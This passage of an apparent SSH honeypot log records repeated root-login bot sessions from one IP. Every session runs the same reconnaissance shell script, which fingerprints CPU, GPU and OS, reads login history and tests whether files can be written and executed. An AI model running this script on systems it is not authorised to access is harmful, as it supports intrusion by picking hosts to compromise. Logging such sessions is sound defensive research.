  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T15:01:34.841529+00:00",
  "ended_at": "2026-08-25T15:01:35.720904+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fd783ec7-423a-474c-86f4-d13e004b86f8",
  "name": "cunning-barren-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 35032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:59:10.122302+00:00",
  "ended_at": "2026-08-25T14:59:12.019700+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2a4c1dda-ad99-4cb5-b90d-96758a1ba85a",
  "name": "meadow-gentle-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 60544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:56:40.301495+00:00",
  "ended_at": "2026-08-25T14:56:41.264419+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0c9e8bf5-65c2-4d9c-938b-31d8d044774b",
  "name": "autumn-amber-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 57778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:54:12.275908+00:00",
  "ended_at": "2026-08-25T14:54:12.616139+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8eb73e06-ab37-4044-afc3-8f091ffd649c",
  "name": "mighty-graceful-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 54086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:51:44.781121+00:00",
  "ended_at": "2026-08-25T14:51:44.891810+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "31e71795-3591-4e15-a0bf-3043ebbfd761",
  "name": "candid-downy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 50982,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T14:49:11.007061+00:00",
  "ended_at": "2026-08-25T14:49:11.829224+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "be04608d-c609-4f51-9908-687ff7ec87a4",
  "name": "kindly-shaded-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.168",
  "src_port": 47868,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 